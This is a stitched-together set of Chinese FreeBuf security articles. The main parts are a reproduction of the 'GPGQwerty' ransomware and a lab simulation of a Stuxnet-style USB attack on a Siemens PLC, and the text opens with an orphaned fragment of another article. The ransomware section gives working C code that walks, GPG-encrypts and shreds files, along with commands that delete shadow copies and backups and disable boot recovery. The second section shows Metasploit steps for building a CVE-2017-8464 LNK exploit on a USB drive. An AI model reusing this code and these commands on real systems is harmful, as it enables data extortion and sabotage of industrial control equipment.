图24 向地址为0×000008的Flags(M)写入0×00的确认响应

图24中的item1,说明向地址为0×000008的Flags(M)写入0×00成功!

未完待续。

*本文原创作者:LiukerTeam,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

*本文作者:LiukerTeam,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

3月初,勒索软件“GPGQwerty”是由 @MalwareHunterTeam 发现,它利用了合法的软件 GnuPG 来加密受害者的文件、覆盖原始文件,并将 .qwerty 扩展名附加到被加密文件的文件名中。

GnuPG,也称 GNU Privacy Guard 或 GPG。它是加密工具 PGP(Pretty Good Privacy)的非商业化版本,用于对 Email、文件及其他数据的收发进行加密与验证,确保通信数据的可靠性和真实性。

0×01 分析

说明:图5、图6、图7都来自于复现样本。

根据 McAfee 对样本的分析,共发现 GPGQwerty 的3个相关的样本,其 SHA-256 值分别为:

2762a7eadb782d8a404ad033144954384be3ed11e9714c468c99f0d3df644ef5

39c510bc504a647ef8fa1da8ad3a34755a762f1be48e200b9ae558a41841e502

f5cd435ea9a1c9b7ec374ccbd08cc6c4ea866bcdc438ea8f1523251966c6e88b

庆幸的是 GPGQwerty 需要其他文件的支持才能运行,正因如此,所以 GPGQwerty 是一组文件,该组文件共有10个文件,其 SHA-256 值如下:

GPGQwerty样本SHA-256值

图1 GPGQwerty样本SHA-256值

而其中的 key.bat、run.js、find.exe 是在加密过程中起着至关重要作用的三个文件,感染的过程如下图:

图2 GPGQwerty的感染过程(图片来源:McAfee Blogs)
图2 GPGQwerty的感染过程(图片来源:McAfee Blogs

从图2中,第一个要启动的文件是 key.bat 文件,作为勒索软件的主要启动程序,其内容如下:

图3 key.bat
图3 key.bat

在导入密钥后,key.bat 将启动 run.js,该文件将执行 find.exe(主程序),其内容如下:

图4  run.js
图4  run.js

从图4中可知,find.exe 需要指定即将加密的驱动器盘符。

主程序 find.exe 通过用 taskkill 命令来终止一些进程,如图5:

图5 find.exe中使用taskkill命令
图5 find.exe中使用taskkill命令

然后,find.exe  使用 GnuPG(gpg.exe )对文件进行加密,并将 .qwerty 扩展名附加到被加密文件的文件名中。

图6 gpg.exe加密文件
图6 gpg.exe加密文件

文件加密后,find.exe 会使用 shred.exe 覆盖原始文件。

图7 shred.exe覆盖原始文件
图7 shred.exe覆盖原始文件

最后,它会在每个包含加密文件的文件夹中创建一个名为 readme_decrypt.txt,其内容就是跟勒索者联系的联系方式,付款后就给你解密。

Ok,GPGQwerty 就分析完了,接下来就是对它的复现。

0×02 复现准备

在介绍复现之前,先介绍一下复现的环境~

1. 环境

生产机:

  • 系统:Windows 7 ultimate sp1 x64
  • 工具:
    • Visual Studio 2008
    • IDA Pro 6.8

靶机:

  • 系统:Windows 7 ultimate sp1 x64

测试机:

  • 系统:Windows XP Professional sp3 x86

依赖组件:

2. 准备

在测试机中,下载并运行 gnupg-w32cli-1.4.22.exe,安装成功后,如图8所示:

图8 GnuPG安装文件
图8 GnuPG安装文件

在安装目录(eg. C:\Program Files\GNU\GnuPG)中提取 GPGQwerty 需要的 gpg.exe、iconv.dll 两个文件。

GnuPG 安装完成后,下载并运行 coreutils-5.3.0.exe,安装成功后,如图9所示:

图9 GnuWin32安装文件
图9 GnuWin32安装文件

在安装目录的 bin 目录(eg. C:\Program Files\GnuWin32\bin)中提取 GPGQwerty 需要的 libiconv2.dll、libintl3.dll、shred.exe 三个文件。

3. 生成密钥

使用 gpg.exe –gen-key 命令生成密钥,如图10所示:

图10 生成密钥
图10 生成密钥

按照图10步骤走,这样密钥就生成了。

接着,就是以 ASCII 码的格式导出公钥、私钥和 owner-trust,命令如下:

# 公钥
$ gpg.exe --armor --export qwerty > qwerty-pub.key
# 私钥
$ gpg.exe --armor --export-secret-keys > qwerty-private.key
# owner-trust
$ gpg.exe --export-ownertrust > ownertrust.txt

4. key.bat 和 run.js

这个两个文件代码就不累述,key.bat 的代码如图3所示,run.js 的代码如图4所示。

5. find.exe

从上面的分析中得知,find.exe 的主要功能有:遍历和加密文件、创建README_DECRYPT.txt文件、关闭进程、清空回收站、删除卷影副本和备份目录、禁止开机自动修复,其中重点是遍历和加密文件。

在复现中,遍历文件夹和文件是直接调用三个 Windows API,分别是:

  • _findfirst
  • _findnext
  • _findclose

具体代码如下:

void walkFile(char *path) {
    intptr_t handle = -1;
    struct _finddata_t fileInfo;

    char filePath[MAX_FILE_PATH_LENGTH] = {0};
    sprintf_s(filePath, MAX_FILE_PATH_LENGTH, "%s\\*", path);
    if (-1 == (handle = _findfirst(filePath, &fileInfo))) {
        return;
    }
    createDecryptReadme(path, 1024);
    do {
        if (NULL != fileInfo.name
            && 0 != _strcmpi(fileInfo.name, ".")
            && 0 != _strcmpi(fileInfo.name, "..")
            && 0 != _strcmpi(fileInfo.name, "Recycle")
            && 0 != _strcmpi(fileInfo.name, "$RECYCLE.BIN")
            && 0 != _strcmpi(fileInfo.name, "temp")
            && 0 != _strcmpi(fileInfo.name, "windows")
            && 0 != _strcmpi(fileInfo.name, "Program Files")
            && 0 != _strcmpi(fileInfo.name, "Program Files (x86)")
            && 0 != _strcmpi(fileInfo.name, "Application Data")
            && 0 != _strcmpi(fileInfo.name, "AppData")
            && 0 != _strcmpi(fileInfo.name, "System Volume Information")
            && 0 != _strcmpi(fileInfo.name, "Boot")
            && 0 != _strcmpi(fileInfo.name, "ProgramData")
            && 0 != _strcmpi(fileInfo.name, "gnupg")
            && NULL == strstr(fileInfo.name, ".qwerty")
            && NULL == strstr(fileInfo.name, "README_DECRYPT.txt")
            && NULL == strstr(fileInfo.name, ".exe")
            && NULL == strstr(fileInfo.name, ".dll")
            && NULL == strstr(fileInfo.name, ".sys")) {
            sprintf_s(filePath, MAX_FILE_PATH_LENGTH, "%s\\%s", path, fileInfo.name);
            if ((fileInfo.attrib & _A_SUBDIR)) {
                walkFile(filePath);
            } else {
                if (0 == _access(filePath, 6)) {
                    encryptFile(filePath);
                }
            }
        }
    } while (_findnext(handle, &fileInfo) == 0);
    // close
    _findclose(handle);
}

在遍历的时候,会忽略一些文件夹或文件,比如:Recycle、Program Files、windows等。

遍历文件哦了的话,那么现在重点就是加密和重写文件,其用到了gpg.exe、shred.exe 两个程序,具体的代码如下:

void encryptFile(char *filePath) {
    // encrypt file
    char command[MAX_COMMAND_LENGTH] = {0};
    int returnCode = -1;
    sprintf_s(command, MAX_COMMAND_LENGTH, "gpg.exe --recipient qwerty -o \"%s.qwerty\" --encrypt \"%s\"", filePath, filePath);
    returnCode = system(command);
    if (0 == returnCode) {
        // overwrite file
        sprintf_s(command, MAX_COMMAND_LENGTH, "shred.exe -f -u -n 1 \"%s\"", filePath);
        system(command);
    }
}

而关闭进程、清空回收站、删除卷影副本和备份目录、禁止开机自动修复都是执行命令来实现,具体的命令如下:

# 关闭进程
taskkill /F /IM sql /T
taskkill /F /IM chrome.exe /T
taskkill /F /IM ie.exe /T
taskkill /F /IM firefox.exe /T
taskkill /F /IM opera.exe /T
taskkill /F /IM safari.exe /T
taskkill /F /IM taskmgr.exe /T
taskkill /F /IM 1c /T
# 删除卷影副本
vssadmin.exe delete shadows /all /quiet
wmic shadowcopy delete
# 禁止开机自动修复
bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit.exe bcdedit /set {default} recoveryenabled no
# 删除备份目录
wbadmin.exe wbadmin delete catalog -quiet
# 清空回收站
del /Q /F /S %s$recycle.bin

Ok,到这 find.exe 也哦了~

0×03 复现过程

上一节中都是在做复现的准备工作,GPGQwerty 的复现样本,如图11所示:

图11 GPGQwerty 的复现样本
图11 GPGQwerty 的复现样本

Ok,现在开始复现,在靶机中运行 key.bat(为了简单演示,该复现样本未做其他运行方式),如图12所示:

图12 复现过程
图12 复现过程

上图基本上复现了勒索软件“GPGQwerty”的感染过程。

最后的最后,说明一下:鉴于本人能力有限,文中难免会出现疏忽或是错误,还请大家多多指正。

0×04 参考

*本文作者:LiukerTeam,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

*本文原创作者:LiukerTeam,本文属FreeBuf原创奖励计划,未经许可禁止转载

实验环境

渗透环境:

OS:Kali Linux 2017.3

工程师站:

OS:Windows 7 sp1 x64

IP:192.168.0.152

仿真平台(仿真伊朗核设施的铀浓缩的离心机):

PLC:Siemens S7-300

IP:192.168.0.234

simulation-platform.jpg

漏洞:

Windows:CVE-2017-8464

PLC:0 day漏洞

0×00 前言

2006年,伊朗重启核设施,为了阻止伊朗此举,美国派出间谍买通伊朗核工厂技术人员,将含有漏洞利用工具的U盘插入了工厂控制系统电脑。紧接着,核工厂大量离心机无缘无故损坏,科学家束手无策,工厂被迫关闭,延迟核计划。这就是2010年曝光的“震网事件(Stuxnet)”。

stuxnet.png
图2 “震网”事件

而攻击伊朗核工厂的漏洞利用工具就是“震网一代”,它因此被公认为世界上首个网络“超级破坏性武器”。

2011年,“震网二代”出现,因为它会在临时目录下生成名为~DQ 的随机文件,也被称作Duqu。

2017年6月14日,微软发布安全公告,修复了可能被黑客利用的Windows快捷方式高危漏洞(CVE-2017-8464),由于其与攻击伊朗核工厂的震网一代利用漏洞相似,被业界普遍称为“震网三代”。

为此,本文结合 “震网三代”漏洞和西门子0 day漏洞两个漏洞组合攻击控制系统的仿真演示,其中“震网三代”漏洞用于触发含有西门子0 day漏洞的poc程序。

其思路:先把西门子0 day漏洞的poc程序编译成exe文件,然后exploit出含CVE-2017-8464漏洞的快捷方式,最后把exe程序和快捷方式装载到U盘。

attacker-u-disk.png
图3 攻击U盘

0×01 漏洞

1 CVE-2017-8464

2017年6月14日,微软发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞。

当存在漏洞的电脑被插上存在病毒木马的U盘时,不需要任何额外操作,漏洞攻击程序就可以借此完全控制用户的电脑系统。 该漏洞也可能籍由用户访问网络共享、从互联网下载、拷贝文件等操作被触发和利用攻击。

特别是能源、交通、金融等行业的基础设施隔离网,由于需要使用U盘、移动硬盘等存储设备进行数据交换,一旦连接含有漏洞( CVE-2017-8464)利用工具的U盘、移动硬盘连接隔离网内的一台电脑,不需要任何操作,电脑就会被病毒控制。

该漏洞的原理同2010年美国和以色列入侵并破坏伊朗核设施的震网行动中所使用的穿透核设施隔离网络的漏洞(CVE-2010-2568)非常类似,它可以很容易的被黑客利用来攻击基础设施、存放关键资料的核心隔离系统等。

详细介绍参考:www.freebuf.com/news/143353.html

其影响版本:

Windows 7

Windows 8.1

Windows RT 8.1

Windows 10

Windows Server 2008

Windows Server 2008 R2

Windows Server 2012

Windows Server 2012 R2

Windows Server 2016

2 西门子PLC 0 day漏洞

该0 day漏洞是一个能使离心机的转动异常的漏洞。

通过VS2008编译成名为attacker.exe的文件,该文件运行时,先连接上PLC, 然后发送攻击包,最后导致离心机的转动异常。

attacker.exe.jpg
图4 攻击程序attacker.exe,配置文件init.txt

为了演示效果,attacker.exe不会静默运行。为了攻击更加完美,你可以使其静默运行。

0×02 制作攻击U盘

目前CVE-2017-8464漏洞可供测试利用的脚本有如下两个:

msf利用脚本:https://github.com/rapid7/metasploit-framework/pull/8767

Python利用脚本:https://github.com/nixawk/labs/blob/master/CVE-2017-8464/exploit_CVE-2017-8464.py

本文着重测试msf脚本,然后将exp拷贝至U盘。下载msf脚本:

$ cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat/
$ ls -al | grep cve_2017_8464_lnk_rce.rb
# 如果存在,就不需要下载
$ wget https://raw.githubusercontent.com/ykoster/metasploit-framework/master/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb

生成exp:

> use exploits/windows/fileformat/cve_2017_8464_lnk_rce
> set payload windows/x64/exec
> set dllname attacker.dll
> set filename attacker.lnk
> set cmd e:\attacker.exe
> set EXITFUNC thread 
> exploit

注意:

msf脚本默认对应系统Windows x64,所以payload也选择64位的exec。

工程师站PC中的U盘可用的盘符为E盘。

其参数设置如下图5:

msf-options.png
图5 参数设置

执行后,在/root/.msf4/local/生成24个利用文件,如下图6:

msf-exploit.png
图6 exploit


图7 攻击文件

将以上文件复制到U盘。为了更好适配d-z盘符,你需要分别设置set cmd d:\attacker.exeset cmd z:\attacker.exe23个盘符的快捷方式。

Ok,这样攻击U盘就弄好了~

0×03 攻击

万事俱备只欠攻击啦~~~把U盘插入工程师站的一台PC中,然后就看到如下图8所示:

 1.gif
图8 开启U盘自动播放功能,插入U盘后触发漏洞

上图8中的PC是开启了U盘自动播放功能,在U盘插入后,系统自动访问了u盘,所以就触发漏洞。

同样,直接访问目录也会触发漏洞,如下图9所示:

attacker-windows-7-x64.gif
图9 直接访问目录,触发漏洞

此时,离心机的状态已经异常了(如图10所示),而从控制台看到离心机的状态(如图11所示)是正常的!

centrifuge.gif
图10 离心机状态

console.jpg
图11 控制台中的离心机状态Nice,目前系统已经被攻击了~

0×04 建议

上面仿真了伊朗“震网”事件,其主要使用了Windows搜索远程命令执行漏洞(CVE-2017-8464),针对该漏洞给出以下几个建议:

若不能及时打补丁,建议禁用U盘、网络共享及关闭Webclient Service,并建议管理员关注是否有业务与上述服务相关并做好恢复准备。

未打补丁的机器,建议立即关闭Windows Search服务。

目前微软已经为“Windows搜索远程命令执行漏洞”提供了官方补丁,微软官方补丁下载地址:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8543

https://support.microsoft.com/en-us/help/4025687/microsoft-security-advisory-4025685-guidance-for-older-platforms

特别是能源、交通、金融等行业需要重视,及时处理。

0×05 参考

CVE-2017-8464

“震网三代”CVE-2017-8464漏洞分析和预警 – FreeBuf互联网安全新媒体平台 | 关注黑客与极客

“震网三代”(CVE-2017-8464)的几种利用方法与防范 – FreeBuf互联网安全新媒体平台 | 关注黑客与极客

Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试 – 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

*本文原创作者:LiukerTeam,本文属FreeBuf原创奖励计划,未经许可禁止转载